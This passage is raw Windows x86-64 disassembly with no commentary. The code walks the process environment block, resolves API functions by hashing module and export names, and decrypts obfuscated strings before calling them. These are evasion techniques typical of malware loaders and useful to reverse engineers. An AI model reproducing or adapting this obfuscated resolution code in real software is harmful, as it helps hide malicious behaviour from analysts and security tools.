cmp r8, rdi
jbe 0x140014f9a
lea rax, [r15 + rdi]
cmp r8, rax
jae 0x140014f9a
movzx eax, byte [r8]
mov r11d, 0xceb06053
mov r10d, r11d
cmp al, 0x2e
je 0x140014f58
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140014f40
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x140014f7d
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x140014f64
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140014f97
cmp qword [rax + 0x30], 0
jne 0x140014e30
xor r8d, r8d
mov qword [0x1400b9510], r8
movups xmm0, xmmword [str.BXSoK_KLXLd__]
movzx eax, byte [0x1400a90a8]
xor edi, edi
movups xmm1, xmmword [0x1400a9080]
mov ebx, dword [reloc.WS2_32.dll_accept]
mov r9d, edi
mov byte [rbp - 8], al
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x1400a9090]
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400a90a0]
movsd qword [rbp - 0x10], xmm0
cmp ebx, 2
jl 0x140015127
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rbp - 0x3c]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r9d
lea eax, [r9 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r9d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r9d, 0x38
jl 0x140015020
cmp r9d, 0x39
jge 0x140015162
movsxd rax, r9d
lea r10, [rbp - 0x40]
add r10, rax
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0x39
jl 0x140015131
xor edx, edx
lea rcx, [rbp - 0x40]
call r8
test rax, rax
je 0x140015321
cmp byte [0x1400a8fbb], dil
movsd xmm0, qword [str.p_EGA]
mov eax, dword [0x1400a8fb8]
movsd qword [rbp], xmm0
mov dword [rbp + 8], eax
je 0x1400152e1
mov r8d, edi
cmp ebx, 2
jl 0x1400152a2
movdqa xmm2, xmmword [0x1400aa580]
mov r8d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
mov eax, dword [0x1400aa610]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.p_EGA]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
movd xmm1, dword [rbp + 4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 4], xmm2
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1400152b0
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rbp]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140015300
lea rdx, [rbp]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b95c8]
test r8, r8
jne 0x1400154d9
mov rax, qword gs:[0x60]
mov r11d, edi
mov r10d, 0x850ce1a1
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14001539d
psrldq xmm0, 8
mov edx, 0x201665d9
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140015394
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140015380
cmp edx, r11d
jne 0x1400154b1
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x1400154b1
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400154b1
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x201665d9
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140015417
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140015400
cmp edx, r10d
je 0x140015426
test r8d, r8d
jne 0x1400153e0
jmp 0x1400154b1
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x14001589a
lea rax, [rdi + r15]
cmp r8, rax
jae 0x14001589a
movzx eax, byte [r8]
mov r11d, 0x201665d9
mov r10d, r11d
cmp al, 0x2e
je 0x140015488
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140015470
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x1400154ad
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x140015494
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1400154c7
cmp qword [rax + 0x30], 0
jne 0x140015351
xor edi, edi
mov r8d, edi
mov ebx, dword [reloc.WS2_32.dll_accept]
mov qword [0x1400b95c8], r8
cmp byte [0x1400a9bd5], 0
mov eax, dword [0x1400a9bd0]
movsd xmm0, qword [str.vGYT_JIi_UZ2A]
mov r15, qword [rsp + 0x140]
mov r14, qword [rsp + 0x188]
mov r12, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x178]
mov dword [rbp + 0x28], eax
movzx eax, word [0x1400a9bd4]
mov word [rbp + 0x2c], ax
movsd qword [rbp + 0x20], xmm0
je 0x140015671
mov r9d, edi
cmp ebx, 2
jl 0x140015632
movdqa xmm2, xmmword [0x1400aa580]
mov r9d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
mov eax, dword [0x1400aa610]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.vGYT_JIi_UZ2A]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x20], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
movd xmm1, dword [rbp + 0x24]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x24], xmm2
movsxd rax, r9d
lea r10, [rbp + 0x20]
add r10, rax
nop dword [rax]
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0xe
jl 0x140015640
xor edx, edx
lea rcx, [rbp + 0x20]
call r8
test rax, rax
je 0x140015885
cmp byte [0x1400a993d], 0
movups xmm0, xmmword [str.yZRP__]
mov eax, dword [0x1400a9938]
mov dword [rbp - 0x28], eax
movzx eax, word [0x1400a993c]
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x24], ax
movsd xmm0, qword [0x1400a9930]
movsd qword [rbp - 0x30], xmm0
je 0x140015842
mov r8d, edi
cmp ebx, 2
jl 0x140015807
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rbp - 0x3c]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140015700
cmp r8d, 0x1e
jge 0x140015842
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140015811
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x40]
nop dword [rax + rax]
inc r13
cmp byte [rax + r13], 0
jne 0x140015860
mov r8, r13
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
movaps xmm6, xmmword [rsp + 0x130]
add rsp, 0x148
pop r13
pop rdi
pop rbx
pop rbp
ret
xor edi, edi
jmp 0x1400154cc